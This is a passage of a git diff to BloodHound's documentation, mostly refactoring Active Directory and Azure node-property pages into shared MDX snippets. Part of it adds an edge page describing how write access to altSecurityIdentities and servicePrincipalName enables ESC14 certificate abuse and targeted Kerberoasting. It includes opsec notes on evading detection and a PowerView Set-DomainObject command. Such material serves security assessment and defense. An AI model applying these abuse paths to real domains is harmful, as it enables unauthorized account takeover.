+The Public-Information property set includes the `altSecurityIdentities` and `servicePrincipalName` attributes. The `altSecurityIdentities` attribute stores explicit certificate mappings for a principal, while `servicePrincipalName` can be abused for targeted Kerberoasting.
+
+## Abuse Info
+
+Write access to the Public-Information property set can be abused in at least two ways:
+
+1. Write access to `altSecurityIdentities` may enable an ADCS ESC14 Scenario A attack. See [WriteAltSecurityIdentities](/resources/edges/write-alt-security-identities) for the certificate requirements, exploitation steps, and cleanup guidance.
+2. Write access to `servicePrincipalName` may enable a targeted Kerberoasting attack against a user with a weak password. See [WriteSPN](/resources/edges/write-spn) for details.
+
+## Opsec Considerations
+
+For ADCS ESC14 Scenario A, the affected certificate authority retains a local copy of the issued certificate in its issued certificates store. Defenders may analyze issued certificates to identify illegitimately issued certificates and the principal that requested them.
+
+For targeted Kerberoasting, see the [WriteSPN](/resources/edges/write-spn) opsec considerations.
+
+## Edge Schema
+
+Source: [User](/resources/nodes/user), [Group](/resources/nodes/group), [Computer](/resources/nodes/computer)
+Destination: [User](/resources/nodes/user), [Computer](/resources/nodes/computer)
+Traversable: **Yes**
+
+## References
+
+This edge is related to the following MITRE ATT&CK technique:
+
+* [T1098: Account Manipulation](https://attack.mitre.org/techniques/T1098/)
+
+### Abuse and Opsec references
+
+* [ADCS ESC14 Abuse Technique](https://posts.specterops.io/adcs-esc14-abuse-technique-333a004dc2b9)
diff --git a/docs/resources/edges/write-spn.mdx b/docs/resources/edges/write-spn.mdx
index 8b08f5d4..5ecbae05 100644
--- a/docs/resources/edges/write-spn.mdx
+++ b/docs/resources/edges/write-spn.mdx
@@ -3,7 +3,9 @@ title: WriteSPN
description: The ability to write directly to the servicePrincipalNames attribute on a user object.
---
-
+import ResourceEditionPill from '/snippets/resources/edition-pill.mdx';
+
+
Writing to this property gives you the opportunity to perform a targeted kerberoasting attack against that user.
@@ -33,7 +35,7 @@ Set-DomainObject -Credential $Cred -Identity harmj0y -Clear serviceprincipalname
```
## Opsec Considerations
-Modifying the servicePrincipalName attribute will not, by default, generate an event on the Domain Controller. Your target may have configured logging on users to generate 5136 events whenever a directory service is modified, but this configuration is very rare.
+Modifying the `servicePrincipalName` attribute will not, by default, generate an event on the Domain Controller. Your target may have configured logging on users to generate 5136 events whenever a directory service is modified, but this configuration is very rare.
## Edge Schema
diff --git a/docs/resources/nodes/ad-local-group.mdx b/docs/resources/nodes/ad-local-group.mdx
index 7e36f856..d1d1ec62 100644
--- a/docs/resources/nodes/ad-local-group.mdx
+++ b/docs/resources/nodes/ad-local-group.mdx
@@ -3,7 +3,11 @@ title: ADLocalGroup
icon: '/images/nodes/ad/ad-local-group.svg'
---
-
+import NodeEdgesIntro from '/snippets/resources/node-edges-intro.mdx';
+import NodePropertiesTableGuide from '/snippets/resources/node-properties-table-guide.mdx';
+import ResourceEditionPill from '/snippets/resources/edition-pill.mdx';
+
+
## Representation
@@ -11,35 +15,31 @@ The ADLocalGroup node represents a local group on a domain computer.
## Node properties
-The node supports the properties of the table. Three types of property names will be used, depending on where the property is found:
-
-* **Entity Panel:** Name shown in the BloodHound UI.
-* **Database:** Name stored in the BloodHound database and returned by the BloodHound API. This is to be used when running Cypher queries.
-* **Directory:** Name collected from the directory the node is stored in, for example, the LDAP name for an Active Directory property.
+
| | | | |
| --- | --- | --- | --- |
| **Entity Panel** | **Database** | **Directory** | **Description** |
-| Object ID | objectid | - | The object's unique identifier in the directory. |
-| Last Collected by BloodHound | lastcollected | - | The most recent time the object was collected and ingested in BloodHound. |
-| Last Seen by BloodHound | lastseen | - | The most recent time the object or a reference to it was collected and ingested in BloodHound. |
-| - | name | Group name + computer FQDN | Name of the group + @ + the FQDN of the computer which it exists on. |
+| Object ID | `objectid` | - | The object's unique identifier in the directory. |
+| Last Collected by BloodHound | `lastcollected` | - | The most recent time the object was collected and ingested in BloodHound. |
+| Last Seen by BloodHound | `lastseen` | - | The most recent time the object or a reference to it was collected and ingested in BloodHound. |
+| - | `name` | Group name + computer FQDN | Name of the group + @ + the FQDN of the computer which it exists on. |
## Edges
-The following edge types may be linked to/from this node. See the [edges documentation](/resources/edges) for more information on the edge types.
+
### Incoming edges
| | |
| --- | --- |
| **Edge type** | **Entity panel category** |
-| MemberOfLocalGroup | - |
+| [MemberOfLocalGroup](/resources/edges/member-of-local-group) | - |
### Outgoing edges
| | |
| --- | --- |
| **Edge type** | **Entity panel category** |
-| LocalToComputer | - |
+| [LocalToComputer](/resources/edges/local-to-computer) | - |
diff --git a/docs/resources/nodes/aiaca.mdx b/docs/resources/nodes/aiaca.mdx
index f33ff7b7..47cf1d1b 100644
--- a/docs/resources/nodes/aiaca.mdx
+++ b/docs/resources/nodes/aiaca.mdx
@@ -3,7 +3,12 @@ title: AIACA
description:
icon: '/images/nodes/ad/aiaca.svg'
---
-
+
+import NodeEdgesIntro from '/snippets/resources/node-edges-intro.mdx';
+import NodePropertiesTableGuide from '/snippets/resources/node-properties-table-guide.mdx';
+import ResourceEditionPill from '/snippets/resources/edition-pill.mdx';
+
+
## Representation
@@ -11,46 +16,42 @@ The AIACA node represents the Active Directory LDAP objects of the _certificatio
## Node properties
-The node supports the properties of the table. Three types of property names will be used, depending on where the property is found:
-
-* **Entity Panel:** Name shown in the BloodHound UI.
-* **Database:** Name stored in the BloodHound database and returned by the BloodHound API. This is to be used when running Cypher queries.
-* **Directory:** Name collected from the directory the node is stored in, for example, the LDAP name for an Active Directory property.
+
| | | | |
| --- | --- | --- | --- |
| **Entity Panel** | **Database** | **Directory** | **Description** |
-| Object ID | objectid | objectGUID | The object's unique identifier in the directory. |
-| ACL Inheritance Denied | isaclprotected | nTSecurityDescriptor | Whether inherited permissions (ACEs) from containers are blocked on this object. |
-| Basic Constraint Path Length | basicconstraintpathlength | caCertificate (X509Certificate) | The maximum number of non-self-issued intermediate certificates that may follow this certificate in a valid certificate chain. |
-| Certificate Chain | certchain | caCertificate (X509Certificate) | A hierarchical list of certificates starting with the certificate for this CA and ending with a self-signed root certificate. Each certificate is signed by the private key of the next CA certificate. |
-| Certificate Name | certname | caCertificate (X509Certificate) | The name of the CA's certificate. |
-| Certificate Thumbprint | certthumbprint | caCertificate (X509Certificate) | The thumbprint (unique identifier) of the CA's certificate. |
-| Created | whencreated | whenCreated | When the object was created in the directory. |
-| Distinguished Name | distinguishedname | distinguishedName | The name of the object and it's location in AD. |
-| Domain FQDN | domain | - | The fully qualified domain name (FQDN) of the domain the object belongs to. |
-| Domain SID | domainsid | - | The SID of the domain the object belongs to. |
-| Has Basic Constraints | hasbasicconstraints | caCertificate (X509Certificate) | Whether the CA certificate has basic constraints. |
-| Has Cross Certificate Pair | hascrosscertificatepair | crossCertificatePair | Whether the CA has trust to any external certificate. |
-| Last Collected by BloodHound | lastcollected | - | The most recent time the object was collected and ingested in BloodHound. |
-| Last Seen by BloodHound | lastseen | - | The most recent time the object or a reference to it was collected and ingested in BloodHound. |
-| - | crosscertificatepair | crossCertificatePair | List of external certificates trusted by the CA. |
-| - | name | name + domain name | Name of the object + @ + the name of the domain. |
+| Object ID | `objectid` | `objectGUID` | The object's unique identifier in the directory. |
+| ACL Inheritance Denied | `isaclprotected` | `nTSecurityDescriptor` | Whether inherited permissions (ACEs) from containers are blocked on this object. |
+| Basic Constraint Path Length | `basicconstraintpathlength` | `caCertificate` (`X509Certificate`) | The maximum number of non-self-issued intermediate certificates that may follow this certificate in a valid certificate chain. |
+| Certificate Chain | `certchain` | `caCertificate` (`X509Certificate`) | A hierarchical list of certificates starting with the certificate for this CA and ending with a self-signed root certificate. Each certificate is signed by the private key of the next CA certificate. |
+| Certificate Name | `certname` | `caCertificate` (`X509Certificate`) | The name of the CA's certificate. |
+| Certificate Thumbprint | `certthumbprint` | `caCertificate` (`X509Certificate`) | The thumbprint (unique identifier) of the CA's certificate. |
+| Created | `whencreated` | `whenCreated` | When the object was created in the directory. |
+| Distinguished Name | `distinguishedname` | `distinguishedName` | The name of the object and it's location in AD. |
+| Domain FQDN | `domain` | - | The fully qualified domain name (FQDN) of the domain the object belongs to. |
+| Domain SID | `domainsid` | - | The SID of the domain the object belongs to. |
+| Has Basic Constraints | `hasbasicconstraints` | `caCertificate` (`X509Certificate`) | Whether the CA certificate has basic constraints. |
+| Has Cross Certificate Pair | `hascrosscertificatepair` | `crossCertificatePair` | Whether the CA has trust to any external certificate. |
+| Last Collected by BloodHound | `lastcollected` | - | The most recent time the object was collected and ingested in BloodHound. |
+| Last Seen by BloodHound | `lastseen` | - | The most recent time the object or a reference to it was collected and ingested in BloodHound. |
+| - | `crosscertificatepair` | `crossCertificatePair` | List of external certificates trusted by the CA. |
+| - | `name` | `name` + domain name | Name of the object + @ + the name of the domain. |
## Edges
-The following edge types may be linked to/from this node. See the [edges documentation](/resources/edges) for more information on the edge types.
+
### Incoming edges
| | |
| --- | --- |
| **Edge type** | **Entity panel category** |
-| GenericAll | Inbound Object Control |
-| GenericWrite | Inbound Object Control |
-| Owns | Inbound Object Control |
-| WriteDacl | Inbound Object Control |
-| WriteOwner | Inbound Object Control |
+| [GenericAll](/resources/edges/generic-all) | Inbound Object Control |
+| [GenericWrite](/resources/edges/generic-write) | Inbound Object Control |
+| [Owns](/resources/edges/owns) | Inbound Object Control |
+| [WriteDacl](/resources/edges/write-dacl) | Inbound Object Control |
+| [WriteOwner](/resources/edges/write-owner) | Inbound Object Control |
### Outgoing edges
diff --git a/docs/resources/nodes/az-app.mdx b/docs/resources/nodes/az-app.mdx
index b8031329..b163632e 100644
--- a/docs/resources/nodes/az-app.mdx
+++ b/docs/resources/nodes/az-app.mdx
@@ -3,15 +3,14 @@ title: AZApp
icon: '/images/nodes/azure/az-app.svg'
---
-
+import NodePropertiesIntro from '/snippets/resources/node-properties-intro.mdx';
+import ResourceEditionPill from '/snippets/resources/edition-pill.mdx';
-## Node properties
+
-The node supports the properties of the table below.
+## Node properties
-
-Properties which are blank/null will not be shown in the Entity Panel.
-
+
| | |
| --- | --- |
@@ -20,7 +19,7 @@ Properties which are blank/null will not be shown in the Entity Panel.
| Display Name | The display name for the object. |
| Object ID | The object's security identifier (SID), a unique identifier in the directory. |
| Created | The time when the object was created in the directory. |
-| Description | The contents of the description field for the object. |
+| Description | The contents of the `description` field for the object. |
| Publisher Domain | The domain of the application publisher. |
| Service Principal ID | The unique identifier for the service principal. |
| Sign In Audience | The sign-in audience for the app. |
diff --git a/docs/resources/nodes/az-automation-account.mdx b/docs/resources/nodes/az-automation-account.mdx
index 73757224..a40c513a 100644
--- a/docs/resources/nodes/az-automation-account.mdx
+++ b/docs/resources/nodes/az-automation-account.mdx
@@ -3,26 +3,17 @@ title: AZAutomationAccount
icon: '/images/nodes/azure/az-automation-account.svg'
---
-
+import NodePropertiesIntro from '/snippets/resources/node-properties-intro.mdx';
+import ResourceEditionPill from '/snippets/resources/edition-pill.mdx';
+import AzureResourceNodePropertiesTable from '/snippets/resources/azure-resource-node-properties-table.mdx';
-## Node properties
+
-The node supports the properties of the table below.
+## Node properties
-
-
-Properties which are blank/null will not be shown in the Entity Panel.
-
-
+
-| | |
-| --- | --- |
-| **Entity Panel name** | **Description** |
-| Tier Zero / High Value | BloodHound Enterprise: Whether the object is part of Tier Zero of the Microsoft's Active Directory Tier Model, or the Control Plane of Microsoft's Enterprise Access Model.
BloodHound CE: Whether the object is currently marked as High Value. By default any object that belongs to Tier Zero is marked as High Value. |
-| Display Name | The display name for the object. |
-| Object ID | The object's security identifier (SID), a unique identifier in the directory. |
-| Created | The time when the object was created in the directory. |
-| Tenant ID | Unique identifier for the Azure tenant. |
+
## References
diff --git a/docs/resources/nodes/az-base.mdx b/docs/resources/nodes/az-base.mdx
index 86279329..a4c73be7 100644
--- a/docs/resources/nodes/az-base.mdx
+++ b/docs/resources/nodes/az-base.mdx
@@ -3,7 +3,11 @@ title: AZBase
icon: '/images/nodes/azure/az-base.svg'
---
-
+import AnyNodeEdgesIntro from '/snippets/resources/any-node-edges-intro.mdx';
+import NodePropertiesTableGuide from '/snippets/resources/node-properties-table-guide.mdx';
+import ResourceEditionPill from '/snippets/resources/edition-pill.mdx';
+
+
## Representation
@@ -11,21 +15,17 @@ The AZBase node is the basis for all other "AZ" Entra ID/Azure nodes and is used
## Node properties
-The node supports the properties of the table. Three types of property names will be used, depending on where the property is found:
-
-* **Entity Panel:** Name shown in the BloodHound UI.
-* **Database:** Name stored in the BloodHound database and returned by the BloodHound API. This is to be used when running Cypher queries.
-* **Directory:** Name collected from the directory the node is stored in, for example, the LDAP name for an Active Directory property.
+
| | | | |
| --- | --- | --- | --- |
| **Entity Panel** | **Database** | **Directory** | **Description** |
-| Object ID | objectid | - | The object's unique identifier in the directory. |
-| Last Collected by BloodHound | lastcollected | - | The most recent time the object was collected and ingested in BloodHound. |
-| Last Seen by BloodHound | lastseen | - | The most recent time the object or a reference to it was collected and ingested in BloodHound. |
-| - | name | - | Object ID of the object. |
+| Object ID | `objectid` | - | The object's unique identifier in the directory. |
+| Last Collected by BloodHound | `lastcollected` | - | The most recent time the object was collected and ingested in BloodHound. |
+| Last Seen by BloodHound | `lastseen` | - | The most recent time the object or a reference to it was collected and ingested in BloodHound. |
+| - | `name` | - | Object ID of the object. |
## Edges
-Any edge type may be linked to/from this node. See the [edges documentation](/resources/edges) for more information on the edge types.
+
diff --git a/docs/resources/nodes/az-container-registry.mdx b/docs/resources/nodes/az-container-registry.mdx
index c2f1807b..6d8f1c3e 100644
--- a/docs/resources/nodes/az-container-registry.mdx
+++ b/docs/resources/nodes/az-container-registry.mdx
@@ -3,25 +3,16 @@ title: AZContainerRegistry
icon: '/images/nodes/azure/az-container-registry.svg'
---
-
+import NodePropertiesIntro from '/snippets/resources/node-properties-intro.mdx';
+import ResourceEditionPill from '/snippets/resources/edition-pill.mdx';
+import AzureResourceNodePropertiesTable from '/snippets/resources/azure-resource-node-properties-table.mdx';
-## Node properties
+
-The node supports the properties of the table below.
+## Node properties
-
-
-Properties which are blank/null will not be shown in the Entity Panel.
-
-
-| | |
-| --- | --- |
-| **Entity Panel name** | **Description** |
-| Tier Zero / High Value | BloodHound Enterprise: Whether the object is part of Tier Zero of the Microsoft's Active Directory Tier Model, or the Control Plane of Microsoft's Enterprise Access Model.
BloodHound CE: Whether the object is currently marked as High Value. By default any object that belongs to Tier Zero is marked as High Value. |
-| Display Name | The display name for the object. |
-| Object ID | The object's security identifier (SID), a unique identifier in the directory. |
-| Created | The time when the object was created in the directory. |
-| Tenant ID | Unique identifier for the Azure tenant. |
+
+
## References
diff --git a/docs/resources/nodes/az-device.mdx b/docs/resources/nodes/az-device.mdx
index d2b59a89..7089b912 100644
--- a/docs/resources/nodes/az-device.mdx
+++ b/docs/resources/nodes/az-device.mdx
@@ -3,16 +3,14 @@ title: AZDevice
icon: '/images/nodes/azure/az-device.svg'
---
-
+import NodePropertiesIntro from '/snippets/resources/node-properties-intro.mdx';
+import ResourceEditionPill from '/snippets/resources/edition-pill.mdx';
+
+
## Node properties
-The node supports the properties of the table below.
-
-
-Properties which are blank/null will not be shown in the Entity Panel.
-
-
+
| | |
| --- | --- |
@@ -21,7 +19,7 @@ Properties which are blank/null will not be shown in the Entity Panel.
| Display Name | The display name for the object. |
| Object ID | The object's security identifier (SID), a unique identifier in the directory. |
| Created | The time when the object was created in the directory. |
-| Description | The contents of the description field for the object. |
+| Description | The contents of the `description` field for the object. |
| Publisher Domain | The domain of the application publisher. |
| Service Principal ID | The unique identifier for the service principal. |
| Sign In Audience | The sign-in audience for the app. |
diff --git a/docs/resources/nodes/az-federated-identity-credential.mdx b/docs/resources/nodes/az-federated-identity-credential.mdx
index fb52e63a..0aa05f6f 100644
--- a/docs/resources/nodes/az-federated-identity-credential.mdx
+++ b/docs/resources/nodes/az-federated-identity-credential.mdx
@@ -4,13 +4,14 @@ description: The AZFederatedIdentityCredential node represents a Federated Ident
icon: '/images/nodes/azure/az-federated-identity-credential.svg'
---
-
+import NodePropertiesIntro from '/snippets/resources/node-properties-intro.mdx';
+import ResourceEditionPill from '/snippets/resources/edition-pill.mdx';
-## Node Properties
+
-The node supports the following properties:
+## Node Properties
-Properties that are blank/null will not be shown in the **Entity Panel**.
+
| | |
| --- | --- |
diff --git a/docs/resources/nodes/az-function-app.mdx b/docs/resources/nodes/az-function-app.mdx
index a3fbe03a..cdbc8cb1 100644
--- a/docs/resources/nodes/az-function-app.mdx
+++ b/docs/resources/nodes/az-function-app.mdx
@@ -3,24 +3,17 @@ title: AZFunctionApp
icon: '/images/nodes/azure/az-function-app.svg'
---
-
+import NodePropertiesIntro from '/snippets/resources/node-properties-intro.mdx';
+import ResourceEditionPill from '/snippets/resources/edition-pill.mdx';
+import AzureResourceNodePropertiesTable from '/snippets/resources/azure-resource-node-properties-table.mdx';
-## Node properties
+
-The node supports the properties of the table below.
+## Node properties
-
-Properties which are blank/null will not be shown in the Entity Panel.
-
+
-| | |
-| --- | --- |
-| **Entity Panel name** | **Description** |
-| Tier Zero / High Value | BloodHound Enterprise: Whether the object is part of Tier Zero of the Microsoft's Active Directory Tier Model, or the Control Plane of Microsoft's Enterprise Access Model.
BloodHound CE: Whether the object is currently marked as High Value. By default any object that belongs to Tier Zero is marked as High Value. |
-| Display Name | The display name for the object. |
-| Object ID | The object's security identifier (SID), a unique identifier in the directory. |
-| Created | The time when the object was created in the directory. |
-| Tenant ID | Unique identifier for the Azure tenant. |
+
## References
diff --git a/docs/resources/nodes/az-group.mdx b/docs/resources/nodes/az-group.mdx
index e7a5919e..9e2feab5 100644
--- a/docs/resources/nodes/az-group.mdx
+++ b/docs/resources/nodes/az-group.mdx
@@ -3,14 +3,14 @@ title: AZGroup
icon: '/images/nodes/azure/az-group.svg'
---
-
+import NodePropertiesIntro from '/snippets/resources/node-properties-intro.mdx';
+import ResourceEditionPill from '/snippets/resources/edition-pill.mdx';
+
+
## Node properties
-The node supports the properties of the table below.
-
-Properties which are blank/null will not be shown in the Entity Panel.
-
+
| | |
| --- | --- |
@@ -20,10 +20,9 @@ Properties which are blank/null will not be shown in the Entity Panel.
| Object ID | The object's security identifier (SID), a unique identifier in the directory. |
| Admin Count | Whether the object currently, or possibly ever has belonged to a certain set of highly privileged groups. For Active Directory nodes this is related to the AdminSDHolder container and the ProtectAdminGroups background task. Read more about that [here](https://specterops.io/resources/adminsdholder). |
| Created | The time when the object was created in the directory. |
-| Description | The contents of the description field for the object. |
+| Description | The contents of the `description` field for the object. |
| Is Role Assignable | Whether the group can be assigned to Azure roles. When set to "True," group members inherit role-based permissions. When set to "False," role assignments are not allowed for the group. |
| On-Prem Sync Enabled | Whether the object is synchronized to on-premises Active Directory. |
| Security Enabled | Whether the group is a Security Principal, meaning it can be used to secure objects in Entra ID. |
| Security Identifier | - |
| Tenant ID | Unique identifier for the Azure tenant. |
-
diff --git a/docs/resources/nodes/az-key-vault.mdx b/docs/resources/nodes/az-key-vault.mdx
index 11271238..305f7172 100644
--- a/docs/resources/nodes/az-key-vault.mdx
+++ b/docs/resources/nodes/az-key-vault.mdx
@@ -3,22 +3,15 @@ title: AZKeyVault
icon: '/images/nodes/azure/az-key-vault.svg'
---
-
+import NodePropertiesIntro from '/snippets/resources/node-properties-intro.mdx';
+import ResourceEditionPill from '/snippets/resources/edition-pill.mdx';
+import AzureResourceNodePropertiesTable from '/snippets/resources/azure-resource-node-properties-table.mdx';
-## Node properties
+
-The node supports the properties of the table below.
+## Node properties
-
-Properties which are blank/null will not be shown in the Entity Panel.
-
+
-| | |
-| --- | --- |
-| **Entity Panel name** | **Description** |
-| Tier Zero / High Value | BloodHound Enterprise: Whether the object is part of Tier Zero of the Microsoft's Active Directory Tier Model, or the Control Plane of Microsoft's Enterprise Access Model.
BloodHound CE: Whether the object is currently marked as High Value. By default any object that belongs to Tier Zero is marked as High Value. |
-| Display Name | The display name for the object. |
-| Object ID | The object's security identifier (SID), a unique identifier in the directory. |
-| Created | The time when the object was created in the directory. |
-| Tenant ID | Unique identifier for the Azure tenant. |
+
diff --git a/docs/resources/nodes/az-logic-app.mdx b/docs/resources/nodes/az-logic-app.mdx
index bf2ec7f6..c5ae8f42 100644
--- a/docs/resources/nodes/az-logic-app.mdx
+++ b/docs/resources/nodes/az-logic-app.mdx
@@ -3,24 +3,17 @@ title: AZLogicApp
icon: '/images/nodes/azure/az-logic-app.svg'
---
-
+import NodePropertiesIntro from '/snippets/resources/node-properties-intro.mdx';
+import ResourceEditionPill from '/snippets/resources/edition-pill.mdx';
+import AzureResourceNodePropertiesTable from '/snippets/resources/azure-resource-node-properties-table.mdx';
-## Node properties
+
-The node supports the properties of the table below.
+## Node properties
-
-Properties which are blank/null will not be shown in the Entity Panel.
-
+
-| | |
-| --- | --- |
-| **Entity Panel name** | **Description** |
-| Tier Zero / High Value | BloodHound Enterprise: Whether the object is part of Tier Zero of the Microsoft's Active Directory Tier Model, or the Control Plane of Microsoft's Enterprise Access Model.
BloodHound CE: Whether the object is currently marked as High Value. By default any object that belongs to Tier Zero is marked as High Value. |
-| Display Name | The display name for the object. |
-| Object ID | The object's security identifier (SID), a unique identifier in the directory. |
-| Created | The time when the object was created in the directory. |
-| Tenant ID | Unique identifier for the Azure tenant. |
+
## References
diff --git a/docs/resources/nodes/az-managed-cluster.mdx b/docs/resources/nodes/az-managed-cluster.mdx
index 729bb915..f4736f11 100644
--- a/docs/resources/nodes/az-managed-cluster.mdx
+++ b/docs/resources/nodes/az-managed-cluster.mdx
@@ -3,15 +3,14 @@ title: AZManagedCluster
icon: '/images/nodes/azure/az-managed-cluster.svg'
---
-
+import NodePropertiesIntro from '/snippets/resources/node-properties-intro.mdx';
+import ResourceEditionPill from '/snippets/resources/edition-pill.mdx';
-## Node properties
+
-The node supports the properties of the table below.
+## Node properties
-
-Properties which are blank/null will not be shown in the Entity Panel.
-
+
| | |
| --- | --- |
diff --git a/docs/resources/nodes/az-management-group.mdx b/docs/resources/nodes/az-management-group.mdx
index 93fdfc2c..de291b7c 100644
--- a/docs/resources/nodes/az-management-group.mdx
+++ b/docs/resources/nodes/az-management-group.mdx
@@ -3,22 +3,15 @@ title: AZManagementGroup
icon: '/images/nodes/azure/az-management-group.svg'
---
-
+import NodePropertiesIntro from '/snippets/resources/node-properties-intro.mdx';
+import ResourceEditionPill from '/snippets/resources/edition-pill.mdx';
+import AzureResourceNodePropertiesTable from '/snippets/resources/azure-resource-node-properties-table.mdx';
-## Node properties
+
-The node supports the properties of the table below.
+## Node properties
-
-Properties which are blank/null will not be shown in the Entity Panel.
-
+
-| | |
-| --- | --- |
-| **Entity Panel name** | **Description** |
-| Tier Zero / High Value | BloodHound Enterprise: Whether the object is part of Tier Zero of the Microsoft's Active Directory Tier Model, or the Control Plane of Microsoft's Enterprise Access Model.
BloodHound CE: Whether the object is currently marked as High Value. By default any object that belongs to Tier Zero is marked as High Value. |
-| Display Name | The display name for the object. |
-| Object ID | The object's security identifier (SID), a unique identifier in the directory. |
-| Created | The time when the object was created in the directory. |
-| Tenant ID | Unique identifier for the Azure tenant. |
+
diff --git a/docs/resources/nodes/az-resource-group.mdx b/docs/resources/nodes/az-resource-group.mdx
index 70d93aba..12078ee6 100644
--- a/docs/resources/nodes/az-resource-group.mdx
+++ b/docs/resources/nodes/az-resource-group.mdx
@@ -3,22 +3,15 @@ title: AZResourceGroup
icon: '/images/nodes/azure/az-resource-group.svg'
---
-
+import NodePropertiesIntro from '/snippets/resources/node-properties-intro.mdx';
+import ResourceEditionPill from '/snippets/resources/edition-pill.mdx';
+import AzureResourceNodePropertiesTable from '/snippets/resources/azure-resource-node-properties-table.mdx';
-## Node properties
+
-The node supports the properties of the table below.
+## Node properties
-
-Properties which are blank/null will not be shown in the Entity Panel.
-
+
-| | |
-| --- | --- |
-| **Entity Panel name** | **Description** |
-| Tier Zero / High Value | BloodHound Enterprise: Whether the object is part of Tier Zero of the Microsoft's Active Directory Tier Model, or the Control Plane of Microsoft's Enterprise Access Model.
BloodHound CE: Whether the object is currently marked as High Value. By default any object that belongs to Tier Zero is marked as High Value. |
-| Display Name | The display name for the object. |
-| Object ID | The object's security identifier (SID), a unique identifier in the directory. |
-| Created | The time when the object was created in the directory. |
-| Tenant ID | Unique identifier for the Azure tenant. |
+
diff --git a/docs/resources/nodes/az-role.mdx b/docs/resources/nodes/az-role.mdx
index a66d9233..4ed81c7b 100644
--- a/docs/resources/nodes/az-role.mdx
+++ b/docs/resources/nodes/az-role.mdx
@@ -3,15 +3,14 @@ title: AZRole
icon: '/images/nodes/azure/az-role.svg'
---
-
+import NodePropertiesIntro from '/snippets/resources/node-properties-intro.mdx';
+import ResourceEditionPill from '/snippets/resources/edition-pill.mdx';
-## Node properties
+
-The node supports the properties of the table below.
+## Node properties
-
-Properties which are blank/null will not be shown in the Entity Panel.
-
+
| | |
| --- | --- |
diff --git a/docs/resources/nodes/az-service-principal.mdx b/docs/resources/nodes/az-service-principal.mdx
index da47732f..5a6fcea4 100644
--- a/docs/resources/nodes/az-service-principal.mdx
+++ b/docs/resources/nodes/az-service-principal.mdx
@@ -3,15 +3,14 @@ title: AZServicePrincipal
icon: '/images/nodes/azure/az-service-principal.svg'
---
-
+import NodePropertiesIntro from '/snippets/resources/node-properties-intro.mdx';
+import ResourceEditionPill from '/snippets/resources/edition-pill.mdx';
-## Node properties
+
-The node supports the properties of the table below.
+## Node properties
-
-Properties which are blank/null will not be shown in the Entity Panel.
-
+
| | |
| --- | --- |
diff --git a/docs/resources/nodes/az-subscription.mdx b/docs/resources/nodes/az-subscription.mdx
index a3a57d28..d72f25ac 100644
--- a/docs/resources/nodes/az-subscription.mdx
+++ b/docs/resources/nodes/az-subscription.mdx
@@ -3,22 +3,15 @@ title: AZSubscription
icon: '/images/nodes/azure/az-subscription.svg'
---
-
+import NodePropertiesIntro from '/snippets/resources/node-properties-intro.mdx';
+import ResourceEditionPill from '/snippets/resources/edition-pill.mdx';
+import AzureResourceNodePropertiesTable from '/snippets/resources/azure-resource-node-properties-table.mdx';
-## Node properties
+
-The node supports the properties of the table below.
+## Node properties
-
-Properties which are blank/null will not be shown in the Entity Panel.
-
+
-| | |
-| --- | --- |
-| **Entity Panel name** | **Description** |
-| Tier Zero / High Value | BloodHound Enterprise: Whether the object is part of Tier Zero of the Microsoft's Active Directory Tier Model, or the Control Plane of Microsoft's Enterprise Access Model.
BloodHound CE: Whether the object is currently marked as High Value. By default any object that belongs to Tier Zero is marked as High Value. |
-| Display Name | The display name for the object. |
-| Object ID | The object's security identifier (SID), a unique identifier in the directory. |
-| Created | The time when the object was created in the directory. |
-| Tenant ID | Unique identifier for the Azure tenant. |
+
diff --git a/docs/resources/nodes/az-tenant.mdx b/docs/resources/nodes/az-tenant.mdx
index 0b5f8568..34433445 100644
--- a/docs/resources/nodes/az-tenant.mdx
+++ b/docs/resources/nodes/az-tenant.mdx
@@ -3,15 +3,14 @@ title: AZTenant
icon: '/images/nodes/azure/az-tenant.svg'
---
-
+import NodePropertiesIntro from '/snippets/resources/node-properties-intro.mdx';
+import ResourceEditionPill from '/snippets/resources/edition-pill.mdx';
-## Node properties
+
-The node supports the properties of the table below.
+## Node properties
-
-Properties which are blank/null will not be shown in the Entity Panel.
-
+
| | |
| --- | --- |
diff --git a/docs/resources/nodes/az-user.mdx b/docs/resources/nodes/az-user.mdx
index 6868ef01..ede8a45e 100644
--- a/docs/resources/nodes/az-user.mdx
+++ b/docs/resources/nodes/az-user.mdx
@@ -3,15 +3,14 @@ title: AZUser
icon: '/images/nodes/azure/az-user.svg'
---
-
+import NodePropertiesIntro from '/snippets/resources/node-properties-intro.mdx';
+import ResourceEditionPill from '/snippets/resources/edition-pill.mdx';
-## Node properties
+
-The node supports the properties of the table below.
+## Node properties
-
-Properties which are blank/null will not be shown in the Entity Panel.
-
+
| | |
| --- | --- |
@@ -20,7 +19,7 @@ Properties which are blank/null will not be shown in the Entity Panel.
| Display Name | The display name for the object. |
| Object ID | The object's security identifier (SID), a unique identifier in the directory. |
| Created | The time when the object was created in the directory. |
-| Description | The contents of the description field for the object. |
+| Description | The contents of the `description` field for the object. |
| Enabled | Whether the computer object is enabled. |
| Licenses | Which licenses have been assigned to the object. |
| MFA Enforced | Whether MFA is enforced on the principal. |
diff --git a/docs/resources/nodes/az-vm-scale-set.mdx b/docs/resources/nodes/az-vm-scale-set.mdx
index e6ee8c5e..8ffe38a6 100644
--- a/docs/resources/nodes/az-vm-scale-set.mdx
+++ b/docs/resources/nodes/az-vm-scale-set.mdx
@@ -3,24 +3,17 @@ title: AZVMScaleSet
icon: '/images/nodes/azure/az-vm-scale-set.svg'
---
-
+import NodePropertiesIntro from '/snippets/resources/node-properties-intro.mdx';
+import ResourceEditionPill from '/snippets/resources/edition-pill.mdx';
+import AzureResourceNodePropertiesTable from '/snippets/resources/azure-resource-node-properties-table.mdx';
-## Node properties
+
-The node supports the properties of the table below.
+## Node properties
-
-Properties which are blank/null will not be shown in the Entity Panel.
-
+
-| | |
-| --- | --- |
-| **Entity Panel name** | **Description** |
-| Tier Zero / High Value | BloodHound Enterprise: Whether the object is part of Tier Zero of the Microsoft's Active Directory Tier Model, or the Control Plane of Microsoft's Enterprise Access Model.
BloodHound CE: Whether the object is currently marked as High Value. By default any object that belongs to Tier Zero is marked as High Value. |
-| Display Name | The display name for the object. |
-| Object ID | The object's security identifier (SID), a unique identifier in the directory. |
-| Created | The time when the object was created in the directory. |
-| Tenant ID | Unique identifier for the Azure tenant. |
+
## References
diff --git a/docs/resources/nodes/az-vm.mdx b/docs/resources/nodes/az-vm.mdx
index 80805b36..b966db2d 100644
--- a/docs/resources/nodes/az-vm.mdx
+++ b/docs/resources/nodes/az-vm.mdx
@@ -3,15 +3,15 @@ title: AZVM
icon: '/images/nodes/azure/az-vm.svg'
---
-
